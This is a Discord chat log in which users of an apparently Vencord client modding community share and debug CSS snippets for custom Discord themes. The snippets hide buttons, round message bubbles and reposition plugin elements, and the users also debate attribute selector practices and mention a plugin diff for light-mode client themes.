Then, I attempted to create a custom theme using CSS, but since I don't know how to code, my attempt at using ChatGPT to write a better Discord theme with a clock in the bottom right didn't work out.

I'm wondering if it's possible to create a custom Discord theme using Vencord that can display the current time in multiple timezones and automatically update. It would be great if someone could assist me with the CSS code for this, as I'm having trouble using ChatGPT for this purpose.

Thank you!

[vestal field]

not possible with css, you need a plugin
vencord doesn't have a clock plugin currently so check out #1032200195582197831

[rugged echo]

can you just set up various clocks in your phone?

[slim pond]

what are you trying to make

[teal cave]

https://docs.betterdiscord.app/themes/basics/creating
https://minidiscordthemes.github.io/LearnToTheme

[jovial vault]

I had this to hide the gift button on chat box, but it doesn't seem to work.

.buttons_ce5b56 > .button_afdfd9 {
    display: none;
}```
Is there also one to hide/toggle the sticker & gif buttons as well? Maybe even have them pop out to use when mousing over the emote button?

[rustic jewel]

button[aria-label="Open sticker picker"] {
    display: none;
}
button[aria-label="Open GIF picker"] {
    display: none;
}
button[aria-label="Send a gift"] {
    display: none;
} ```

[jovial vault]

Hmmm, not working. Guess something in my css is clashing with it

[night drift]

[class*=buttons_]>[aria-label="Send a gift"]{display:none!important}

[clear siren]

it only works if your discord is in english, is it?

[jovial vault]

I'm using it in english and on vesktop if that matters

[clear siren]

then I don't know why it wouldn't work

[jovial vault]

A lot of people ask for the codes to hide those buttons. It would be lovely if someone could make a plugin to toggle them.

[night drift]

no

a plugin that does something that can easily be done with one line of css will never get merged

[jovial vault]

Yeah, something is clashing with it. It works on chrome where I have minimal custom css but not on vesktop where I have significantly more

[night drift]

click on the badge element

in inspect element

what are its computed styles?

what is the source of the display style?

[jovial vault]

Yeah, I figured there was a reason it hadn't already been done.

[night drift]

click the arrow on the elements computed display style

it will show you what is making it still show

[night drift]

not that arrow

[night drift]

the arrow to the right of "flex" in this image

[jovial vault]

Sorry if I'm clicking the wrong stuff. I'm still fairly new to all this

[night drift]

nvm

u clicked the wrong element

[night drift]

u gotta click the element with the aria-label="Send a gift"

this one

[night drift]

Are you sure you have quickcss enabled?

And it's in your quickcss?

[jovial vault]

Yes

[night drift]

Try something basic in your quick css

See if it works

Like *{background-color:red!important}

[buoyant hawk]

can a css expert can tell me how the code could me more efficient or smth ?

[jovial vault]

That didn't work, but moving the other code higher up on my CSS sheet made it mostly work. The sticker button is still visible

[night drift]

It is better practice to use *= instead of ^= for class names

Also try to only use class atribute selectors

Instead of stuff like .contents_fb6220

U could do [class*=contents_]

[safe python]

..except that's extremely generic and will probably change way more stuff than intended

[jovial vault]

Meh, I just made it into a css import on github and that got it to work

Thank you for your help, @night drift. Very cool

[buoyant hawk]

oh i see

[buoyant hawk]

ah

[buoyant hawk]

yo ryan

[safe python]

the ^= selector is especially useful for this

the devmode id has your id so to have it work for everyone you can use [id^=account-devmode-copy-id]

[buoyant hawk]

oh wow I didnt even notice that

[safe python]

and the three status picker selectors can be reduced to [id^=account-status-picker]

[safe python]

who added that LMAO

(it's true)

[buoyant hawk]

sunnie could u tag me here plz so I come back i have some errands to run and i'll forget to come back cause i have no memory

[safe python]

https://cdn.discordapp.com/emojis/1105493146529431633.webp?size=48&.gif

@buoyant hawk

[buoyant hawk]

ty

[jovial vault]

Awww it broke

.newMemberBadge-3PdStX:before {
    content: url(https://cdn.discordapp.com/emojis/1024751291504791654.gif?size=64&quality=lossless);
    transform: translate(-100%, -110%);
    display: inline-block;
    scale: 0.32;
}```

[safe python]

replace .newMemberBadge-3PdStX with .newMemberBadge__17bc0 or [class^=newMemberBadge_]

[night drift]

I did a tad bit too much trolling

[jovial vault]

Thank you, fren

[night drift]

Yeah ^= for ids since there can only be one
And *= for classes cause there can be many

And there is no guarantee the class you are trying to match will be at the start of the class attribute string

[mortal mantle]

only if you are experienced enough to know what other elements that could affect

do not use those as a beginner

[night drift]

Just add more specificty 💀

[mortal mantle]

do you expect a beginner to know that

[jovial vault]

Is this still viable, but with the change of the gift button being completely hidden?

.buttons-uaqb-5 {
    overflow: hidden;
    position: absolute;
    justify-content: flex-end;
    background: rgba(23, 24, 26, 0.25);
    border-radius: 8px;
    transition: all 350ms;
}
.buttons-uaqb-5:where(:not(:hover)){
    max-width: 35px;
    right: -0px;
}
.buttons-uaqb-5::before {
    opacity: 0%;
    transition: opacity 150ms;
    position: absolute;
    top: 4px;
    content: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512'%3E%3Crect width='352' height='42' x='80' y='96' fill='rgb(181, 186, 193)' class='ci-primary'/%3E%3Crect width='352' height='42' x='80' y='240' fill='rgb(181, 186, 193)' class='ci-primary'/%3E%3Crect width='352' height='42' x='80' y='384' fill='rgb(181, 186, 193)' class='ci-primary'/%3E%3C/svg%3E");
    display: block;
    object-fit: cover;
    height: 44px;
    width: 35px;
}
.buttons-uaqb-5:where(:not(:hover))::before {
    opacity: 100%;
    transition: opacity 350ms;
}
.buttons-uaqb-5:hover {
    padding-left: 5px;
    padding-right: 5px;
    border-radius: 16px;
    max-width: 100%;
    right: 0px;
    background: rgba(23, 24, 26, 0.5);
    transition: all 150ms;
}
.buttons-uaqb-5 > div, .buttons-uaqb-5 > button {
    transform: scaleX(0%) !important;
    opacity: 0%;
}
.buttons-uaqb-5:hover > div, .buttons-uaqb-5:hover > button {
    transform: scaleX(100%) !important;
    opacity: 100%;
}
.buttons-uaqb-5 > div:hover svg, .buttons-uaqb-5 > button:hover svg {
    height: 28px !important;
    width: 28px !important;
    margin-right: -2px;
    margin-left: -2px;
}
.buttons-uaqb-5 > div:nth-last-child(2):hover > button > div > div > svg {
    margin-right: -4px;
    margin-left: -4px;
}
.buttons-uaqb-5 > div svg, .buttons-uaqb-5 > button svg {
    transition: all 0.3s;
}```

[clear siren]

seems to work pretty well after running it through https://syndishanx.github.io/Website/Update_Classes.html

[jovial vault]

Oh awesome. I didn't know this existed

[warm bough]

the create a server modal uses the theme-light variables since it's in the theme-light class. is there any easy way to move it to use theme-dark variables?

[grand surge]

what’s the element ID

[night drift]

Thats like the first thing you learn about css

And if u don't know just Google search and now you know

[safe python]

no it isnt?

[grand surge]

and yeah use color: var(—dark-themewtv);

[night drift]

Wdym

Specificity is what makes css css

[safe python]

you shouldn't have to care about specificity normally, when making styles for your own site

[night drift]

Not true at all

That is 100% false

[safe python]

if it causes issues youre doing something wrong

[night drift]

No

Tf you on about

[grand surge]

stuff

[night drift]

It's the whole cascading part of cascading style sheets

[warm bough]

there ended up being like 3 things for the single modal:```css
/* create a server modal */
.container__0d1a7 {
--header-primary: #FFFFFF;
--header-secondary: #FFFFFF;
--modal-footer-background: #404040
}

.container__73245 {
--background-primary: #505050;
--text-normal: #FFFFFF
}

.focusLock__10aa5 {
--modal-background: #404040;
}```

[mortal mantle]

cascading style sheets does not require the use of attribute selectors

[night drift]

Attribute selectors have the same specifity as class selector 💀

[warm bough]

the 2nd container is just these buttons, first one is the footer, focuslock is the actual background

[night drift]

U have no point

0

[mortal mantle]

Attribute selectors are only easier to grasp once the website has been made with a basic normal class style sheet

[grand surge]

just use inline css

[night drift]

Just look at mdn docs

First result for any css related Google search

[mortal mantle]

Please don't tell me the first thing you add to your stylesheet when building a website is the attribute selector

[night drift]

When did this become about just attribute selectors?

We were talking about specificity

[mortal mantle]

well, Discord's classes already do a good job of that

[night drift]

I don't think u get it
Attribute selectors have the same specifity as class selectors

There is 0 difference

[toxic yew]

.theme-dark .theme-light {
  --all-that-stuff-here
}

[warm bough]

I don't want to change it for both themes. I'm in dark theme, but the modal uses variables from light theme, same thing in light theme. for some reason this modal seems to just be forced to light theme, and I wanted to use dark theme variables with it

[toxic yew]

that is not both
it selects theme-light that is inside theme-dark

[warm bough]

ty, just a question though, if I have css like this:```css
.theme-dark {
...
--modal-background: #404040;
...
}

.theme-dark .theme-light {
/* create a server modal */
...
--modal-background: var(--modal-background);
...
}```
the CSS no longer works. I'm assuming I just need to set different variable names, correct?

seems like I can work around it like this ```css
.theme-dark {
...
--modal-background: var(--modal-background-changed);
--modal-background-changed: #404040;
...
}

.theme-dark .theme-light {
/* create a server modal */
...
--modal-background: var(--modal-background-changed);
...
}

I'm hoping there's no other elements like this, but who knows

[haughty totem]

for yt or dc?

[haughty totem]

wdym by daily?

[dark dragon]

Discord.

That was meant to say "fairly"

[haughty totem]

if you come across the link to that spreadsheet, i’m interested. (Would prbly not use it, but mainly hoarding, but also to take a curious look^^)

[dark dragon]

Could probably ask for it in the BD server, they check it to confirm coverage of submitted themes

[exotic nexus]

by using css

ik anyway

just change one of the classes on it to make sure it isn't white

simple

what's your css

paste your css here

whar

use quickcss to change it

[night drift]

easily

[exotic nexus]

the same way you did it in the html

if you knew how css worked you would know

yes i know

but that isn't permanent

to change it permanently

you have to use

css

[night drift]

why

[exotic nexus]

it does have many constant classes

[night drift]

you could use the aria-label attribute on the button or the d attribute on the path inside the button's svg icon

[exotic nexus]

that or use the parent

[night drift]

if u use the aria-label attribute it wont work if u change languages tho

[exotic nexus]

show us your code

[night drift]

show what u did

cuz its case sensitive

unless you do [aria-label='mute' i]

you can see if your selector is correct by checking the styles tab for your target element

if correct your rule will show in that tab

[rugged echo]

its "Mute" I think

oh

well in that case you would need to select a bit more

like another class that selects the buttons from that place

[exotic nexus]

add the class and aria-label

no space in between either

cool

make some css

[deft niche]

ok so, im having a problem with a theme i made and i was wondering if anyone could help. initially i rounded the message bar but that made it so that when you go to reply to a user, the reply bar isnt connected. so i changed the message bar to only have the bottom corners rounded and that worked but i want to try find a way (maybe using a script if thats possible) to unround the top corners of the message bar once the reply bar appears

[dull musk]

could you show how you rounded the message bar?

[clear siren]

yeah that's easy to do

[deft niche]

just with the border radius property

[night drift]

when the top thing is showing set the top left and right border radiuses of the bottom thing to 0

[deft niche]

yeah ik but how

[night drift]

selectors

like +

or maybe :has()

[clear siren]

.hasConnectedBar__277ab can be used to select the textarea when another bar is connected to it

[night drift]

u dont even need to change anything 💀

[night drift]

it already works on default theme

u just need to lower ur specificity

[deft niche]

could you give me an example snippet please? im pretty new to vencord css

[clear siren]

yeah sure

[night drift]

[class*=attachedBars_],
[class*=replyBar_] {
    border-top-left-radius: 25px;
    border-top-right-radius: 25px;
}

[class*=scrollableContainer__]:not([class*=hasConnectedBar__]) {
    border-top-left-radius: 25px;
    border-top-right-radius: 25px;
}

[class*=scrollableContainer__] {
    border-bottom-left-radius: 25px;
    border-bottom-right-radius: 25px;
}

[clear siren]

well there you go

[deft niche]

thank you!

[deft niche]

any pointers on how i can go about adding message bubbles to my theme?

[clear siren]

select a message or its contents in devtools, pick a selector and throw a background/border on it

I use [class*=cozyMessage_] so it goes around the avatar too

most people seem to prefer .contents_f41bb2 which only selects the rest

[deft niche]

i tried that, but right now its giving every message its own bubble instead of grouping everything as one.

went through all the selectors and it does the same thing

[clear siren]

yes that's how it will work regardless

[night drift]

i got an idea

[deft niche]

is it possible to do something like this?

• if the message is the first one from said user, only round the top corners
• if the message is in the middle, round none
• if the message is the last, round the bottom

[night drift]

ik how to do it

[clear siren]

can't select the last message of a group any way but the first of a group can be selected separately

[deft niche]

hmmmmmmmmmmm

[deft niche]

how?

[night drift]

[id^=chat-messages-] {
    background-color: #070707;
}

[id^=chat-messages-]:has([id^=message-username-]) {
    border-top-left-radius: 20px;
    border-top-right-radius: 20px;
}

[id^=chat-messages-]:is(:has(+ :not([id^=chat-messages-])), :has(+ [id^=chat-messages-] [id^=message-username-])) {
    border-bottom-left-radius: 20px;
    border-bottom-right-radius: 20px;
}

[deft niche]

lets fucking gooooooo it works

[clear siren]

huh

oh I see

clever

[deft niche]

oh oop it kinda broke

[night drift]

could fix

[deft niche]

any way to make it so that the bubble only extends to the end of the longest line?

[night drift]

[id^=chat-messages-] {
    background-color: #070707;
}

[id^=chat-messages-]:has([id^=message-username-]) {
    border-top-left-radius: 20px;
    border-top-right-radius: 20px;
}

[id^=chat-messages-]:is(:has(+ [class*=scrollerSpacer__]), :has(+ :not([id^=chat-messages-]) + [id^=chat-messages-] [id^=message-username-]), :has(+ [id^=chat-messages-] [id^=message-username-])) {
    border-bottom-left-radius: 20px;
    border-bottom-right-radius: 20px;
}

just gotta change the color of the new message divider background

when its inbetween messages from same person

[night drift]

[id^=chat-messages-] {
    background-color: #070707;
}

[id="---new-messages-bar"]:not(:has(+ [id^=chat-messages-] [id^=message-username-])) {
    transform-style: preserve-3d;
}

[id="---new-messages-bar"]:not(:has(+ [id^=chat-messages-] [id^=message-username-]))::before {
    content: "";
    background: #070707;
    width: calc(100% + 30px);
    height: 9px;
    position: absolute;
    top: -5px;
    left: -16px;
    transform: translateZ(-1px);
}

[id^=chat-messages-]:has([id^=message-username-]) {
    border-top-left-radius: 20px;
    border-top-right-radius: 20px;
}

[id^=chat-messages-]:is(:has(+ [class*=scrollerSpacer__]), :has(+ :not([id^=chat-messages-]) + [id^=chat-messages-] [id^=message-username-]), :has(+ [id^=chat-messages-] [id^=message-username-])) {
    border-bottom-left-radius: 20px;
    border-bottom-right-radius: 20px;
}

i cooked with this one ngl

[deft niche]

ZAMN ‼️

you cooked

[vestal field]

oh yeah @dawn wind it doesn't actually look that bad with inconsistent border radius

so maybe i'll just change it to this

[dark dragon]

It's pretty bad

[alpine current]

Does anyone have any idea why that's there and how to remove it? (the add friend/message button)

[dark dragon]

It's an experiment isn't it? Should just be able to disable it in your experiments

[deft sentinel]

its the "Make adding friends more prominent (desktop profile)" experiment

[vast delta]

it's the "let's waste our resources on stuff no one wants instead of actual features" experiment

[safe python]

isnt that every other experiment

[mortal mantle]

[dark dragon]

That one's at least a positive design change. The buttons are much cleaner than the message box section

[alpine current]

@deft sentinel it was, tysm^^

[slim patio]

anyone has a css snipit to remove the muted text under a server name?

[vast delta]

use select element

[slim patio]

wanted to see if any1 has a nice snipit and not somthing that will brake after 1 update

[vast delta]

dont use the class hash

[slim patio]

okie

ty

[sharp nova]

quick question, which folder is the root folder from which i can use a relative path in a css theme?

[vast delta]

probably isnt even a feature

[edgy sentinel]

none.

[sharp nova]

nvm figured it out it just uses the location of the css

it wasn't working the first time so I thought there was a different root than the folder the css is in

[void knoll]

is it possible to center the guilds when using the betterFolders plugin? Im sadly too dumb to do it (or it would take a lot of time that I dont have right now :c). I already build from source

[mortal mantle]

I remember there's something for that in #🎨-css-snippets

[void knoll]

oh, ok. I will go search for it again, thanks

[void knoll]

I cant find it

[deft niche]

you can find the class name with vesktop inspect element then center it with quickcss

[void knoll]

alright, will see if I get it done, thanks 🙂

[mild depot]

once again

[cloud jolt]

👉 #🤖-bot-commands

[mild depot]

https://cdn.discordapp.com/emojis/1167937003036348547.gif?size=48&name=wtfhamster&quality=lossless

[rugged echo]

whar

[full mauve]

hello i dont know where to search/what to type or is this is even a things
I figured that in css snippet there is selector refered with []
exemple:

[id*=message-reactions] [class*=reaction_] .emoji,
[id*=message-reactions] [class*=reactionCount],
[class*=effect_] {
zoom: 120%;
}

If im correct it's to change direct element style

In my case I want to change the read all buttons plugins but when i try to find the elements selector I have things referred with <> and i try to understand the rule to convert but don't succeed

Have you knowledge to share, documentation or keyword I need to use in my search ?

here is the stuff i refer to

<button type="button" class="button_afdfd9 lookFilled__19298 colorBrand_b2253e sizeMin__94642 grow__4c8a4" style="margin-top: 2px;margin-bottom: 8px;margin-left: 9px;"><div class="contents_fb6220">Read all</div></button>

[clear siren]

so what you want to do is pick a class and then apply whatever you want to do with it

the [] selectors are called attribute selectors which allows for wildcards to be used

so there's many ways to select that element in css, I would probably use this: [class^=tutorialContainer] + button which selects any button element that is directly after an element which class starts with tutorialcontainer (that is the dm button)

[full mauve]

Thanks a lot you are based

[full mauve]

Here is what i end up with, but it didnt work
Am I making a dumb mistake ?

I try to resolve it on my own trying multiple things and learning more about attribute but didn"t succeed

 [class^=button_afdfd9] [type^=button]{
    margin-top: 0px;
    margin-bottom: 0px;
    margin-left: 0px;
} ```

[toxic yew]

remove space

[clear siren]

yeah space between the selectors means x containing y

https://developer.mozilla.org/en-US/docs/Web/CSS/Descendant_combinator

also if you use the whole class or type you don't need the ^, it's for when the attribute's value starts with the string you put in; alternatively keep the ^ on the class attribute selector but drop the characters after the _ and your css will survive when discord decides to regenerate the hashes on the selectors, which is what most people are doing

https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors#syntax

[full mauve]

Thanks again for both your valuable help

(i read both mdn webs docs and did some attribute selectors exercice but didn't manage to learn something that help me debug my css snippet idea)

So if I understand correctly, to futurproof my snippet it's better if I don't refer to the full classe but that I use ^ and the important part first. I don't need ^ if im reffering to the full name

in my case I refer to the full button type so I don't need ^

That space is to link both attribute as a parent and a child if needed in my case it could be:

[class*=scroller_] [class*=button_]```



Here is what I end up with

```css
[class*=button_][type=button] {
    margin-top: 0px;
    margin-bottom: 0px;
    margin-left: 0px;
}```

But it change the tchat box button (I can provide screen shoot if unclear)
So i tried the following (with and without backspace after the scroller class atribut)(I though the backspace could help organize my code) :

```css
[class*=scroller_] 
[class*=button_][type=button]{
    margin-top: 0px;
    margin-bottom: 0px;
    margin-left: 0px;
}```

Too see the setup I work with I linked a picture in previous message I send

[clear siren]

yeah button type and button class are both very generic which is why I suggested earlier to use [class^=tutorialContainer] + button however I see now that you also have some kind of div in between which I hadn't so replace that with [class^=tutorialContainer] ~ button

with the ~ combinator you select any button that is a sibling of .tutorialContainer_xxxxx

• would only select it when it's the next sibling but ~ selects it when it's any sibling

[full mauve]

[class^=tutorialContainer] ~ button didn't work as well or [class^=tutorialContainer] + button
and it seems normal to me as tutorialContainer refered to the home button and I want to move the read all button bellow the online counter

[class*=button_] ~ button and [class*=scroller_] [class*=button_] ~ button Didn't work as well

I know its the button type of class .button_afdfd9.lookFilled__19298.colorBrand_b2253e.sizeMin__94642.grow__4c8a4 that I need to change as I edited the css directly

The way to edit element.style of that button from quick css still remain a mystery to me

[night drift]

*= for classes ^= for ids

there can be multiple classes and they can be in any order

there can only be one id

[summer edge]

why the hell would you use ^= for ids?

[night drift]

there can only be one id

[summer edge]

#id exists

[night drift]

attribute selectors

some ids have hashes

[summer edge]

you dont need an attribute selector for that

[night drift]

messages have their mesage ids in their ids

ex:
id="message-content-1176168340813787219"
id="chat-messages-1134844326933954622-1176168340813787219"

[summer edge]

still think you should use classes in that case

but yeah youre right

[vast delta]

*= for classes? are you drunk

[night drift]

no

[vast delta]

*= for classes if you wanna select a class that isn't the first class in the list

[night drift]

for example, an element could have an attribute like this:
class="message__80c10 cozyMessage__64ce7 mentioned__58017 groupStart__56db5 wrapper__09ecc cozy_f5c119 zalgo__39311 hasReply_febd50"class="message__80c10 cozyMessage__64ce7 mentioned__58017 groupStart__56db5 wrapper__09ecc cozy_f5c119 zalgo__39311 hasReply_febd50"

there is no guarantee message__ will always be at the start of the class attribute

discord could change things

i see no reason to use ^= over *= here

[summer edge]

i use [class$='hash']

[safe python]

they wont

its not like its randomized

[vast delta]

discord could also change message__ to message--

[safe python]

if they add a new one its gonna be at the end cause thats the sane thing to do

[vast delta]

I see no reason to use any selector here

[night drift]

they dont do that tho

all classes with hashes use _

ids use -

and if they did change it, it would break everything anyways

[summer edge]

inb4 discord implements shuffling all class attributes

damn that would be awesome

[vast delta]

imagine discord just used hashes instead of class names

[summer edge]

RIGHT!

[night drift]

the order of the class names in the class attributes is not alphabetical
there does not seem to be any defined order

[summer edge]

if i ever create a message app used by millions

[night drift]

so i would not count on it always being the same

[summer edge]

imma obfuscate everything

[safe python]

the order is however discord put it in their code

it's constant between builds

[night drift]

which could change if they add a new class to an element

[safe python]

theyre gonna add it and the end of the class

not at the start

[night drift]

yes but i dont see any benefit to using ^= over *=
i only see downsides

[vast delta]

performance

[night drift]

unmeasurable performance gain

[vast delta]

every bit counts

[night drift]

blink is already preformant enough

[vast delta]

also, *= leads to overlapping classes

[night drift]

i used to want to micro-optimize everything
its bad practice tho

i got a lot of hate for it in #👾-core-development

[summer edge]

honestly just use normal selectors and hope someone releases updaters for your themes

attribute selectors are ugly :/

[night drift]

discord uses camel case tho

only if your word could be part of another word would that happen

[vast delta]

don't use stupid words

container - containerWrapper

that is in the code right now

[night drift]

camel case prevents that

[vast delta]

say what cammel case is then you can use the word

[night drift]

i was thinking something like bar__ and sidebar__

since camel case doesnt prevent that

[clear siren]

make a theme with only those, no comments, random order of rules

[vast delta]

LMAO

[summer edge]

oh no

[night drift]

camelCaseIsThePracticeOfWritingPhrasesWithoutSpacesOrPunctuationAndWithCapitalizedWords

[vast delta]

ThatsTheStupidestNameYouCouldGiveForThat

[vast delta]

A CAMEL HAS TWO YOU FUCKING IDIOT

such a mojang moment

[night drift]

not always

[teal cave]

one hump, or two, definitely no more

[full mauve]

im really happy that my issue animate a full conversation on * and ^ that I read with a lot of interest but I would be happy to also find a way to do it if anyone have an idea
#🎨-theme-development message

[night drift]

what are you trying to do?

[clear siren]

move the read all button below the online counter

[night drift]

thanks for the tldr

i dont have the read all button

when does it appear?

[clear siren]

plugin

serverlistindicators

[night drift]

this is what it looks like for me

[clear siren]

@full mauve is using some snippet to change those which makes it a bit hard to help

no idea what kind of css is already being applied

[night drift]

u gotta show us ur current quickcss

[full mauve]

it's what i work with

The quickcss will be more hard to read with all the import and the snippet

[night drift]

what is styling the button tho

because it doesnt look the same as default

[night drift]

this is what it looks like by default

[full mauve]

i have a horizontal bar snippet

/*Horizontal Server List (Vencord/ccs snipet/SuzuBluLite)*/
   @import url(//dablulite.github.io/css-snippets/HorizontalServerList/import.css);/**/```

so i need to fix it by modifing the margin-x from the stuff i highlight

as illustrated in this picture I shared previously

[night drift]

ill try modifying the snipet

what exactly u want it to look like tho

a reference drawing would help

[full mauve]

why can't we grab the read all button ? I really want to learn
In my inspector I can fix it I can show you, its the way to do it in quickcss that im missing

[night drift]

that would be helpful

an image showing what ur trying to accomplish

[full mauve]

what i have right now

what i touch in inspector

The stuff I put in inspector
<div style=mar...

element.style {
    margin-bottom: 16px;
    margin-left: 16px;
} ```
<button type...
```css
element.style {
    margin-top: 0px;
    margin-bottom: -32px;
    margin-left: -58px;
}

[night drift]

/* Online friends counter */
#vc-friendcount {
    margin-bottom: 16px !important;
    margin-left: 16px !important;
}

/* Read all button */
:has(> #vc-friendcount) + * {
    margin-top: 0px !important;
    margin-bottom: -32px !important;
    margin-left: -58px !important;
}

[full mauve]

It work like a charm 💪 😳 real mvp
how did you found #vc-friendcount was the thing to wrote ? I dont see it in the inspector

[night drift]

its on the span in the friend counter

[full mauve]

thanks a lot I will learn a lot from there

[exotic nexus]

i can finally post this in #🎨-css-snippets

(do i need permission)

[vast delta]

I'd prefer if you don't repost content

https://github.com/vencordcss/onekocord

I checked, it isn't mine, but still, I've posted the same (and more) before so it'd just be annoying to keep cluttering that channel with onekostuff (unless there will be a new oneko thing)

[exotic nexus]

it hasnt been posted in #🎨-css-snippets yet

[vast delta]

#🎨-css-snippets message

ill add some new oneko so i can bump the repository again

[summer edge]

:o i didnt think that snippet worked

[vast delta]

of course it does silly

i made it, my things never break (dont check shiggycord)

[exotic nexus]

oh lol

[vast delta]

GRR

ok i got it now lol

[wicked sparrow]

did alot of css break relatively recently

haven't logged in on pc and when i do 90% of my theme was brokey

[rugged echo]

yes most css classes were updated some weeks ago

[vast delta]

what do you think about this line?

[mortal mantle]

What the fuck is that

[clear siren]

oneko animations with everything set by variables

[mortal mantle]

[vast delta]

HAHAHAHA

you wont believe what i got now

[mortal mantle]

[clear siren]

more

[mortal mantle]

What are you trying to accomplish

[vast delta]

youll see when im done

[mortal mantle]

I'm done with you

[vast delta]

love <3

[vast delta]

i did it

mostly...

@mortal mantle this is for you

[mortal mantle]

[vast delta]

you love

[vast delta]

dont ask

i have no idea what is happening sometimes

it just slides around sleeping

it comes from being focused on chat and tabbing out and back in

[rugged echo]

horror

[vestal field]

onekocord becoming the most complex theme ever

[vestal field]

this is funny because i remember trying to make an oneko snippet where it would run to the right in the direction of the cursor when you started typing

[gilded cloak]

does anyone remember if this is what Client Themes looked like in light mode?

.theme-light {
    --background-primary: var(--primary-100);
    --modal-background: var(--primary-100);
    --background-nested-floating: var(--primary-100);
    --activity-card-background: var(--primary-100);
    --alert-bg: var(--primary-100);
    --background-floating: var(--primary-100);
}
[class^=customColorPicker_] {
    background: var(--primary-100) !important;
}

diff --git a/src/plugins/clientTheme/index.tsx b/src/plugins/clientTheme/index.tsx
index d0026c7..d1ec240 100644
--- a/src/plugins/clientTheme/index.tsx
+++ b/src/plugins/clientTheme/index.tsx
@@ -21,7 +21,8 @@ const ColorPicker = LazyComponent(() => findByCode(".Messages.USER_SETTINGS_PROF
 const colorPresets = [
     "#1E1514", "#172019", "#13171B", "#1C1C28", "#402D2D",
     "#3A483D", "#344242", "#313D4B", "#2D2F47", "#322B42",
-    "#3C2E42", "#422938"
+    "#3C2E42", "#422938", "#b6908f", "#bfa088", "#d3c77d",
+    "#86ac86", "#88aab3", "#8693b5", "#8a89ba", "#ad94bb",
 ];

 function onPickColor(color: number) {
@@ -111,7 +112,7 @@ export default definePlugin({
     }
 });

-const variableRegex = /(--primary-[5-9]\d{2}-hsl):.*?(\S*)%;/g;
+const variableRegex = /(--primary-[1-5]\d{2}-hsl):.*?(\S*)%;/g;

 async function generateColorOffsets() {

@@ -138,7 +139,7 @@ async function generateColorOffsets() {
     // Generate offsets
     const lightnessOffsets = Object.entries(variableLightness)
         .map(([key, lightness]) => {
-            const lightnessOffset = lightness - variableLightness["--primary-600-hsl"];
+            const lightnessOffset = lightness - variableLightness["--primary-345-hsl"];
             const plusOrMinus = lightnessOffset >= 0 ? "+" : "-";
             return `${key}: var(--theme-h) var(--theme-s) calc(var(--theme-l) ${plusOrMinus} ${Math.abs(lightnessOffset).toFixed(2)}%);`;
         })

If so, here is all that is needed to make light themes work with ClientTheme plugin.

Just a lot of work would be needed to make it properly switch between the two ya get me.

[gilded cloak]

I think it would be as simple as:

1. creating a separate regex for light mode variableRegex and lightVariableRegex
2. creating a separate record for light mode vars variableLightness and lightVariableLightness
3. abstract lightness offset generation to a function that takes variableLightness and brightness of center color (600 dark, 345 light)
4. add light mode offsets to .theme-light and dark offsets to .theme-dark
5. add color fixes for --white-500 to --primary-100 in hardcoded css

[dark dragon]

Sir, this is a Denny's

[brisk iron]

works very well

tbf i set my oneko to be on the right

[vast delta]

yeah that happens when youre stupid